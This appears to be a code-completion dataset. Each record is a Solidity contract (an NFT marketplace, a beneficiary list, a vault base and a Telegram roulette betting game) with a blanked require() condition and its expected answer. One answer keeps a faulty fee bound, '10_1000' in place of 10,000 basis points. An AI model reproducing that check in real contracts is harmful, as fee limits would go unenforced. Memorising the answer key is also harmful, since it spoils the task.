pragma solidity 0.8.6; /** * @dev Robobots ERC721 & Marketplace. */ contract Robobots is NFTokenMetadata, Ownable { using SafeMath for uint256; string constant NOT_FOR_SALE = "004001"; string constant NOT_FOR_SALE_TO_YOU = "004002"; string constant INSUFFICIENT_VALUE = "004003"; string constant BID_INFLATION = "004004"; string constant MISSING_BID = "004005"; string constant NOT_BIDDER = "004006"; string constant INTERNAL_INCONSISTENCY = "004007"; string public constant imageHash = "d4c5e36e00ab8cefae0f3c04ad14f71209e75897a9dd1a3e59a01a51be7dfbf0"; uint256 public constant totalSupply = 10000; uint256 public constant feePercent = 1; // of 100 basis points, or 1% struct Offer { bool isForSale; uint tokenId; address seller; uint minValue; address onlySellTo; // optionally sell only to a specific address } struct Bid { bool hasBid; uint tokenId; address bidder; uint value; } // A record of tokens that are offered for sale at a minimum value, and optionally to a specific buyer mapping (uint => Offer) public offers; // A record of the highest bid per token mapping (uint => Bid) public bids; // Ether stored in the contract until a seller withdraws mapping (address => uint) public pendingWithdrawals; event PurchaseMade(uint indexed tokenId, uint value, address indexed fromAddress, address indexed toAddress); event OfferMade(uint indexed tokenId, uint minValue, address indexed toAddress); event OfferRemoved(uint indexed tokenId); event BidMade(uint indexed tokenId, uint value, address indexed fromAddress); event BidRemoved(uint indexed tokenId, uint value, address indexed fromAddress); /** * @dev Contract constructor. Sets metadata extension `name` and `symbol`. */ constructor() { } function setBaseTokenURI(string calldata _baseUri) external onlyOwner { } /** * @dev Mints a new NFT. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function mint(address _to, uint256 _tokenId) external { } /** * @dev onlyOwner backdoor to allow multiple mints in one transaction * @param _to The addresses that will own a minted NFT. * @param _tokenIds to be minted by the msg.sender. */ function mintAll(address[] memory _to, uint256[] memory _tokenIds) external onlyOwner { } /** * @dev Put the token on sale at a minimum sale price. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted */ function makeOffer(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { } /** * @dev Like makeOffer, but the token may only be bought from a specific address. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted * @param _toAddress the only allowed buyer */ function makeOfferToAddress(uint256 _tokenId, uint _minSalePriceInWei, address _toAddress) external canOperate(_tokenId) { } /** * @dev Remove the offer for this token. * @param _tokenId The token (previously) for sale, operated by msg.sender */ function withdrawOffer(uint256 _tokenId) external canOperate(_tokenId) { } /** * @dev Buy the token at the minimum sale price. * @param _tokenId The token for sale */ function buy(uint256 _tokenId) external payable { } /** * @dev Remove funds from this contract, after a sale and/or a withdrawn bid. */ function withdrawFunds() external { } /** * @dev Make a bid for the token with msg.value. * @param _tokenId The coveted token */ function makeBid(uint256 _tokenId) external payable { } /** * @dev Accept the highest bid, assuming a minimum sale price. * @param _tokenId The coveted token, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted, ensuring the bid has not just been reduced. */ function acceptBid(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { address seller = msg.sender; Bid memory bid = bids[_tokenId]; require(<FILL_ME>) require(bid.value > 0, INTERNAL_INCONSISTENCY); require(bid.value >= _minSalePriceInWei, INSUFFICIENT_VALUE); // make the Transfer _transfer(bid.bidder, _tokenId); uint amount = bid.value; _removeBid(_tokenId); // collect fee, and make proceeds available to seller uint256 fee = (amount.mul(feePercent)).div(100); uint256 proceeds = amount - fee; pendingWithdrawals[owner] += fee; pendingWithdrawals[seller] += proceeds; emit PurchaseMade(_tokenId, bid.value, seller, bid.bidder); } /** * @dev Withdraw the bid for this token. * @param _tokenId The (once-)coveted token */ function withdrawBid(uint256 _tokenId) external { } function _removeOffer(uint256 _tokenId) internal { } function _removeBid(uint256 _tokenId) internal { } /** * @dev Transfers the ownership of an NFT from one address to another address. * Removes any existing offer for the token when ownership changes. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function _transfer(address _to, uint256 _tokenId) internal override { } }
bid.hasBid,MISSING_BID
483,727
bid.hasBid
"Caller is not the beneficiary"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Beneficiary { mapping(address => bool) public beneficiaryAddresses; event BeneficiarySet(address beneficiaryAddress, bool isBeneficiary); constructor () { } modifier onlyBeneficiary() { require(<FILL_ME>) _; } function setSingleBeneficiary(address _beneficiary, bool _status) public onlyBeneficiary { } // function setMultiBeneficiaryAddresses(address[] memory _beneficiary, bool _status) public onlyBeneficiary { // for (uint i = 0; i < _beneficiary.length; i++) { // beneficiaryAddresses[_beneficiary[i]] = _status; // } // } function getStatusBeneficiary(address _beneficiary) public view returns (bool) { } }
beneficiaryAddresses[msg.sender]==true,"Caller is not the beneficiary"
483,977
beneficiaryAddresses[msg.sender]==true
ExceptionsLibrary.INVARIANT
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "../libraries/CommonLibrary.sol"; import "../libraries/ExceptionsLibrary.sol"; import "../interfaces/vaults/IVault.sol"; import "./VaultGovernance.sol"; /// @notice Abstract contract that has logic common for every Vault. /// @dev Notes: /// ### ERC-721 /// /// Each Vault should be registered in VaultRegistry and get corresponding VaultRegistry NFT. /// /// ### Access control /// /// `push` and `pull` methods are only allowed for owner / approved person of the NFT. However, /// `pull` for approved person also checks that pull destination is another vault of the Vault System. /// /// The semantics is: NFT owner owns all Vault liquidity, Approved person is liquidity manager. /// ApprovedForAll person cannot do anything except ERC-721 token transfers. /// /// Both NFT owner and approved person can call externalCall method which claims liquidity mining rewards (if any) /// /// `reclaimTokens` for mistakenly transfered tokens (not included into vaultTokens) additionally can be withdrawn by /// the protocol admin abstract contract Vault is IVault, ERC165 { using SafeERC20 for IERC20; IVaultGovernance internal _vaultGovernance; address[] internal _vaultTokens; mapping(address => int256) internal _vaultTokensIndex; uint256 internal _nft; uint256[] internal _pullExistentials; constructor() { } // ------------------- EXTERNAL, VIEW ------------------- /// @inheritdoc IVault function initialized() external view returns (bool) { } /// @inheritdoc IVault function isVaultToken(address token) public view returns (bool) { } /// @inheritdoc IVault function vaultGovernance() external view returns (IVaultGovernance) { } /// @inheritdoc IVault function vaultTokens() external view returns (address[] memory) { } /// @inheritdoc IVault function nft() external view returns (uint256) { } /// @inheritdoc IVault function tvl() public view virtual returns (uint256[] memory minTokenAmounts, uint256[] memory maxTokenAmounts); /// @inheritdoc IVault function pullExistentials() external view returns (uint256[] memory) { } /// @inheritdoc IERC165 function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { } // ------------------- INTERNAL, MUTATING ------------------- function _initialize(address[] memory vaultTokens_, uint256 nft_) internal virtual { require(_nft == 0, ExceptionsLibrary.INIT); require(<FILL_ME>) require(nft_ != 0, ExceptionsLibrary.VALUE_ZERO); // guarantees that this method can only be called once IProtocolGovernance governance = IVaultGovernance(msg.sender).internalParams().protocolGovernance; require( vaultTokens_.length > 0 && vaultTokens_.length <= governance.maxTokensPerVault(), ExceptionsLibrary.INVALID_VALUE ); for (uint256 i = 0; i < vaultTokens_.length; i++) { require( governance.hasPermission(vaultTokens_[i], PermissionIdsLibrary.ERC20_VAULT_TOKEN), ExceptionsLibrary.FORBIDDEN ); } _vaultGovernance = IVaultGovernance(msg.sender); _vaultTokens = vaultTokens_; _nft = nft_; uint256 len = _vaultTokens.length; for (uint256 i = 0; i < len; ++i) { _vaultTokensIndex[vaultTokens_[i]] = int256(i + 1); IERC20Metadata token = IERC20Metadata(vaultTokens_[i]); _pullExistentials.push(10**(token.decimals() / 2)); } emit Initialized(tx.origin, msg.sender, vaultTokens_, nft_); } // -------------------------- EVENTS -------------------------- /// @notice Emitted when Vault is intialized /// @param origin Origin of the transaction (tx.origin) /// @param sender Sender of the call (msg.sender) /// @param vaultTokens_ ERC20 tokens under the vault management /// @param nft_ VaultRegistry NFT assigned to the vault event Initialized(address indexed origin, address indexed sender, address[] vaultTokens_, uint256 nft_); }
CommonLibrary.isSortedAndUnique(vaultTokens_),ExceptionsLibrary.INVARIANT
484,067
CommonLibrary.isSortedAndUnique(vaultTokens_)
ExceptionsLibrary.FORBIDDEN
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "../libraries/CommonLibrary.sol"; import "../libraries/ExceptionsLibrary.sol"; import "../interfaces/vaults/IVault.sol"; import "./VaultGovernance.sol"; /// @notice Abstract contract that has logic common for every Vault. /// @dev Notes: /// ### ERC-721 /// /// Each Vault should be registered in VaultRegistry and get corresponding VaultRegistry NFT. /// /// ### Access control /// /// `push` and `pull` methods are only allowed for owner / approved person of the NFT. However, /// `pull` for approved person also checks that pull destination is another vault of the Vault System. /// /// The semantics is: NFT owner owns all Vault liquidity, Approved person is liquidity manager. /// ApprovedForAll person cannot do anything except ERC-721 token transfers. /// /// Both NFT owner and approved person can call externalCall method which claims liquidity mining rewards (if any) /// /// `reclaimTokens` for mistakenly transfered tokens (not included into vaultTokens) additionally can be withdrawn by /// the protocol admin abstract contract Vault is IVault, ERC165 { using SafeERC20 for IERC20; IVaultGovernance internal _vaultGovernance; address[] internal _vaultTokens; mapping(address => int256) internal _vaultTokensIndex; uint256 internal _nft; uint256[] internal _pullExistentials; constructor() { } // ------------------- EXTERNAL, VIEW ------------------- /// @inheritdoc IVault function initialized() external view returns (bool) { } /// @inheritdoc IVault function isVaultToken(address token) public view returns (bool) { } /// @inheritdoc IVault function vaultGovernance() external view returns (IVaultGovernance) { } /// @inheritdoc IVault function vaultTokens() external view returns (address[] memory) { } /// @inheritdoc IVault function nft() external view returns (uint256) { } /// @inheritdoc IVault function tvl() public view virtual returns (uint256[] memory minTokenAmounts, uint256[] memory maxTokenAmounts); /// @inheritdoc IVault function pullExistentials() external view returns (uint256[] memory) { } /// @inheritdoc IERC165 function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { } // ------------------- INTERNAL, MUTATING ------------------- function _initialize(address[] memory vaultTokens_, uint256 nft_) internal virtual { require(_nft == 0, ExceptionsLibrary.INIT); require(CommonLibrary.isSortedAndUnique(vaultTokens_), ExceptionsLibrary.INVARIANT); require(nft_ != 0, ExceptionsLibrary.VALUE_ZERO); // guarantees that this method can only be called once IProtocolGovernance governance = IVaultGovernance(msg.sender).internalParams().protocolGovernance; require( vaultTokens_.length > 0 && vaultTokens_.length <= governance.maxTokensPerVault(), ExceptionsLibrary.INVALID_VALUE ); for (uint256 i = 0; i < vaultTokens_.length; i++) { require(<FILL_ME>) } _vaultGovernance = IVaultGovernance(msg.sender); _vaultTokens = vaultTokens_; _nft = nft_; uint256 len = _vaultTokens.length; for (uint256 i = 0; i < len; ++i) { _vaultTokensIndex[vaultTokens_[i]] = int256(i + 1); IERC20Metadata token = IERC20Metadata(vaultTokens_[i]); _pullExistentials.push(10**(token.decimals() / 2)); } emit Initialized(tx.origin, msg.sender, vaultTokens_, nft_); } // -------------------------- EVENTS -------------------------- /// @notice Emitted when Vault is intialized /// @param origin Origin of the transaction (tx.origin) /// @param sender Sender of the call (msg.sender) /// @param vaultTokens_ ERC20 tokens under the vault management /// @param nft_ VaultRegistry NFT assigned to the vault event Initialized(address indexed origin, address indexed sender, address[] vaultTokens_, uint256 nft_); }
governance.hasPermission(vaultTokens_[i],PermissionIdsLibrary.ERC20_VAULT_TOKEN),ExceptionsLibrary.FORBIDDEN
484,067
governance.hasPermission(vaultTokens_[i],PermissionIdsLibrary.ERC20_VAULT_TOKEN)
"There is already a game in progress"
import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { require(_revolverSize >= 2, "Revolver size too small"); require(_players.length <= _revolverSize, "Too many players for this size revolver"); require(_minBet >= minimumBet, "Minimum bet too small"); require(_players.length == _bets.length, "Players/bets length mismatch"); require(_players.length > 1, "Not enough players"); require(<FILL_ME>) uint256 betTotal = 0; for (uint16 i = 0; i < _bets.length; i++) { require(_bets[i] >= _minBet, "Bet is smaller than the minimum"); betTotal += _bets[i]; } for (uint16 i = 0; i < _bets.length; i++) { betTotal -= _bets[i]; if (_bets[i] > betTotal) { _bets[i] = betTotal; } betTotal += _bets[i]; require(bettingToken.allowance(_players[i], address(this)) >= _bets[i], "Not enough allowance"); bool isSent = bettingToken.transferFrom(_players[i], address(this), _bets[i]); require(isSent, "Funds transfer failed"); emit Bet(_tgChatId, _players[i], i, _bets[i]); } Game memory g; g.revolverSize = _revolverSize; g.minBet = _minBet; g.hashedBulletChamberIndex = _hashedBulletChamberIndex; g.players = _players; g.bets = _bets; g.inProgress = true; games[_tgChatId] = g; activeTgGroups.push(_tgChatId); return _bets; } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
!isGameInProgress(_tgChatId),"There is already a game in progress"
484,083
!isGameInProgress(_tgChatId)
"Bet is smaller than the minimum"
import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { require(_revolverSize >= 2, "Revolver size too small"); require(_players.length <= _revolverSize, "Too many players for this size revolver"); require(_minBet >= minimumBet, "Minimum bet too small"); require(_players.length == _bets.length, "Players/bets length mismatch"); require(_players.length > 1, "Not enough players"); require(!isGameInProgress(_tgChatId), "There is already a game in progress"); uint256 betTotal = 0; for (uint16 i = 0; i < _bets.length; i++) { require(<FILL_ME>) betTotal += _bets[i]; } for (uint16 i = 0; i < _bets.length; i++) { betTotal -= _bets[i]; if (_bets[i] > betTotal) { _bets[i] = betTotal; } betTotal += _bets[i]; require(bettingToken.allowance(_players[i], address(this)) >= _bets[i], "Not enough allowance"); bool isSent = bettingToken.transferFrom(_players[i], address(this), _bets[i]); require(isSent, "Funds transfer failed"); emit Bet(_tgChatId, _players[i], i, _bets[i]); } Game memory g; g.revolverSize = _revolverSize; g.minBet = _minBet; g.hashedBulletChamberIndex = _hashedBulletChamberIndex; g.players = _players; g.bets = _bets; g.inProgress = true; games[_tgChatId] = g; activeTgGroups.push(_tgChatId); return _bets; } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
_bets[i]>=_minBet,"Bet is smaller than the minimum"
484,083
_bets[i]>=_minBet
"Not enough allowance"
import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { require(_revolverSize >= 2, "Revolver size too small"); require(_players.length <= _revolverSize, "Too many players for this size revolver"); require(_minBet >= minimumBet, "Minimum bet too small"); require(_players.length == _bets.length, "Players/bets length mismatch"); require(_players.length > 1, "Not enough players"); require(!isGameInProgress(_tgChatId), "There is already a game in progress"); uint256 betTotal = 0; for (uint16 i = 0; i < _bets.length; i++) { require(_bets[i] >= _minBet, "Bet is smaller than the minimum"); betTotal += _bets[i]; } for (uint16 i = 0; i < _bets.length; i++) { betTotal -= _bets[i]; if (_bets[i] > betTotal) { _bets[i] = betTotal; } betTotal += _bets[i]; require(<FILL_ME>) bool isSent = bettingToken.transferFrom(_players[i], address(this), _bets[i]); require(isSent, "Funds transfer failed"); emit Bet(_tgChatId, _players[i], i, _bets[i]); } Game memory g; g.revolverSize = _revolverSize; g.minBet = _minBet; g.hashedBulletChamberIndex = _hashedBulletChamberIndex; g.players = _players; g.bets = _bets; g.inProgress = true; games[_tgChatId] = g; activeTgGroups.push(_tgChatId); return _bets; } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
bettingToken.allowance(_players[i],address(this))>=_bets[i],"Not enough allowance"
484,083
bettingToken.allowance(_players[i],address(this))>=_bets[i]
"No game in progress for this Telegram chat ID"
import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { require(_loser != type(uint16).max, "Loser index shouldn't be the sentinel value"); require(<FILL_ME>) Game storage g = games[_tgChatId]; require(_loser < g.players.length, "Loser index out of range"); require(g.players.length > 1, "Not enough players"); g.loser = _loser; g.inProgress = false; removeTgId(_tgChatId); address[] memory winners = new address[](g.players.length - 1); uint16[] memory winnersPlayerIndex = new uint16[](g.players.length - 1); uint256 winningBetTotal = 0; { uint16 numWinners = 0; for (uint16 i = 0; i < g.players.length; i++) { if (i != _loser) { winners[numWinners] = g.players[i]; winnersPlayerIndex[numWinners] = i; winningBetTotal += g.bets[i]; numWinners++; } } } uint256 totalPaidWinnings = 0; require(burnBps + revenueBps < 10_1000, "Total fees must be < 100%"); uint256 burnShare = g.bets[_loser] * burnBps / 10_000; uint256 approxRevenueShare = g.bets[_loser] * revenueBps / 10_000; bool isSent; { uint256 totalWinnings = g.bets[_loser] - burnShare - approxRevenueShare; for (uint16 i = 0; i < winners.length; i++) { uint256 winnings = totalWinnings * g.bets[winnersPlayerIndex[i]] / winningBetTotal; isSent = bettingToken.transfer(winners[i], g.bets[winnersPlayerIndex[i]] + winnings); require(isSent, "Funds transfer failed"); emit Win(_tgChatId, winners[i], winnersPlayerIndex[i], winnings); totalPaidWinnings += winnings; } } bettingToken.burn(burnShare); emit Burn(_tgChatId, burnShare); uint256 realRevenueShare = g.bets[_loser] - totalPaidWinnings - burnShare; isSent = bettingToken.transfer(revenueWallet, realRevenueShare); require(isSent, "Revenue transfer failed"); emit Revenue(_tgChatId, realRevenueShare); require((totalPaidWinnings + burnShare + realRevenueShare) == g.bets[_loser], "Calculated winnings do not add up"); } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
isGameInProgress(_tgChatId),"No game in progress for this Telegram chat ID"
484,083
isGameInProgress(_tgChatId)
"Total fees must be < 100%"
import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { require(_loser != type(uint16).max, "Loser index shouldn't be the sentinel value"); require(isGameInProgress(_tgChatId), "No game in progress for this Telegram chat ID"); Game storage g = games[_tgChatId]; require(_loser < g.players.length, "Loser index out of range"); require(g.players.length > 1, "Not enough players"); g.loser = _loser; g.inProgress = false; removeTgId(_tgChatId); address[] memory winners = new address[](g.players.length - 1); uint16[] memory winnersPlayerIndex = new uint16[](g.players.length - 1); uint256 winningBetTotal = 0; { uint16 numWinners = 0; for (uint16 i = 0; i < g.players.length; i++) { if (i != _loser) { winners[numWinners] = g.players[i]; winnersPlayerIndex[numWinners] = i; winningBetTotal += g.bets[i]; numWinners++; } } } uint256 totalPaidWinnings = 0; require(<FILL_ME>) uint256 burnShare = g.bets[_loser] * burnBps / 10_000; uint256 approxRevenueShare = g.bets[_loser] * revenueBps / 10_000; bool isSent; { uint256 totalWinnings = g.bets[_loser] - burnShare - approxRevenueShare; for (uint16 i = 0; i < winners.length; i++) { uint256 winnings = totalWinnings * g.bets[winnersPlayerIndex[i]] / winningBetTotal; isSent = bettingToken.transfer(winners[i], g.bets[winnersPlayerIndex[i]] + winnings); require(isSent, "Funds transfer failed"); emit Win(_tgChatId, winners[i], winnersPlayerIndex[i], winnings); totalPaidWinnings += winnings; } } bettingToken.burn(burnShare); emit Burn(_tgChatId, burnShare); uint256 realRevenueShare = g.bets[_loser] - totalPaidWinnings - burnShare; isSent = bettingToken.transfer(revenueWallet, realRevenueShare); require(isSent, "Revenue transfer failed"); emit Revenue(_tgChatId, realRevenueShare); require((totalPaidWinnings + burnShare + realRevenueShare) == g.bets[_loser], "Calculated winnings do not add up"); } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
burnBps+revenueBps<10_1000,"Total fees must be < 100%"
484,083
burnBps+revenueBps<10_1000
"Calculated winnings do not add up"
